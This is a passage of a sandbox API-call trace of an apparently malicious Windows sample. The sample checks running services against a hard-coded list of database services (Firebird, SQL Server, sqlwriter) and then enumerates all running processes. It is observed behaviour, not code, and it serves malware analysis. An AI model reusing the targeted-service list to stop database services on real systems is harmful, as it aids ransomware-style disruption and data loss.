lpString2="ProfSvc") returned -1 [0061.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0061.560] lstrlenW (lpString="RpcEptMapper") returned 12 [0061.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0061.560] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0061.560] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0061.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0061.560] lstrlenW (lpString="RpcSs") returned 5 [0061.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0061.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0061.560] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0061.560] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0061.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0061.560] lstrlenW (lpString="SamSs") returned 5 [0061.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0061.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0061.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0061.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0061.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0061.560] lstrlenW (lpString="Schedule") returned 8 [0061.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0061.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0061.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0061.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0061.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0061.560] lstrlenW (lpString="SecurityHealthService") returned 21 [0061.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0061.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0061.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0061.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0061.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0061.560] lstrlenW (lpString="SENS") returned 4 [0061.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0061.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0061.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0061.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0061.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0061.561] lstrlenW (lpString="ShellHWDetection") returned 16 [0061.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0061.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0061.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0061.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0061.561] lstrlenW (lpString="Spooler") returned 7 [0061.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0061.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0061.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0061.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0061.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0061.561] lstrlenW (lpString="SSDPSRV") returned 7 [0061.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0061.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0061.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0061.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0061.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0061.561] lstrlenW (lpString="StateRepository") returned 15 [0061.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0061.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0061.561] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0061.561] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0061.561] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443bfe0 | out: hHeap=0x6a0000) returned 1 [0061.561] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0061.987] Process32FirstW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0061.988] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0061.988] lstrlenW (lpString="System") returned 6 [0061.989] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0061.989] lstrlenW (lpString="smss.exe") returned 8 [0061.989] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.990] lstrlenW (lpString="csrss.exe") returned 9 [0061.990] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0061.991] lstrlenW (lpString="wininit.exe") returned 11 [0061.991] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.992] lstrlenW (lpString="csrss.exe") returned 9 [0061.992] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0061.993] lstrlenW (lpString="winlogon.exe") returned 12 [0061.993] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0061.994] lstrlenW (lpString="services.exe") returned 12 [0061.994] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0061.995] lstrlenW (lpString="lsass.exe") returned 9 [0061.995] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.996] lstrlenW (lpString="svchost.exe") returned 11 [0061.996] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0061.996] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0061.996] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0061.997] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0061.997] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.998] lstrlenW (lpString="svchost.exe") returned 11 [0061.998] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0061.999] lstrlenW (lpString="dwm.exe") returned 7 [0061.999] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.000] lstrlenW (lpString="svchost.exe") returned 11 [0062.000] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.001] lstrlenW (lpString="svchost.exe") returned 11 [0062.001] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.005] lstrlenW (lpString="svchost.exe") returned 11 [0062.005] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.006] lstrlenW (lpString="svchost.exe") returned 11 [0062.006] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.007] lstrlenW (lpString="svchost.exe") returned 11 [0062.007] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.008] lstrlenW (lpString="svchost.exe") returned 11 [0062.008] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.009] lstrlenW (lpString="svchost.exe") returned 11 [0062.009] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.009] lstrlenW (lpString="svchost.exe") returned 11 [0062.009] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.010] lstrlenW (lpString="svchost.exe") returned 11 [0062.010] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.011] lstrlenW (lpString="spoolsv.exe") returned 11 [0062.011] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.012] lstrlenW (lpString="svchost.exe") returned 11 [0062.012] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.140] lstrlenW (lpString="svchost.exe") returned 11 [0062.140] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0062.141] lstrlenW (lpString="audiodg.exe") returned 11 [0062.141] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0062.142] lstrlenW (lpString="sihost.exe") returned 10 [0062.142] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.143] lstrlenW (lpString="svchost.exe") returned 11 [0062.143] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0062.144] lstrlenW (lpString="taskhostw.exe") returned 13 [0062.144] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0062.144] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0062.144] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0062.145] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0062.145] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.146] lstrlenW (lpString="explorer.exe") returned 12 [0062.146] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0062.147] lstrlenW (lpString="Memory Compression") returned 18 [0062.147] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0062.147] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0062.148] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0062.148] lstrlenW (lpString="SearchUI.exe") returned 12 [0062.148] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0062.149] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0062.149] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.150] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0062.150] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0062.151] lstrlenW (lpString="taskhostw.exe") returned 13 [0062.151] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0062.151] lstrlenW (lpString="UsoClient.exe") returned 13 [0062.152] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0062.152] lstrlenW (lpString="taskhostw.exe") returned 13 [0062.152] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0062.153] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0062.153] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0062.154] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0062.154] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0062.155] lstrlenW (lpString="msoia.exe") returned 9 [0062.155] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0062.155] lstrlenW (lpString="msoia.exe") returned 9 [0062.156] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0062.156] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0062.157] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0062.157] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0062.157] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0062.158] lstrlenW (lpString="xml-upper.exe") returned 13 [0062.158] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0062.159] lstrlenW (lpString="defeat preston.exe") returned 18 [0062.159] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0062.160] lstrlenW (lpString="surveillance.exe") returned 16 [0062.160] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0062.160] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0062.161] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0062.161] lstrlenW (lpString="deemed.exe") returned 10 [0062.161] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0062.162] lstrlenW (lpString="scored-prices.exe") returned 17 [0062.162] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0062.163] lstrlenW (lpString="understood.exe") returned 14 [0062.163] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0062.163] lstrlenW (lpString="lee.exe") returned 7 [0062.164] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0062.164] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0062.164] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0062.165] lstrlenW (lpString="romandisclosure.exe") returned 19 [0062.165] Process32NextW (in: hSnapshot=0x38c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, 